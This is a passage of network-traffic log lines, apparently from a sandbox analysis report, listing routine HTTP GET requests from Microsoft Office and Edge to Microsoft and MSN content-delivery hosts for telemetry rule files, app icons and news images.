Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
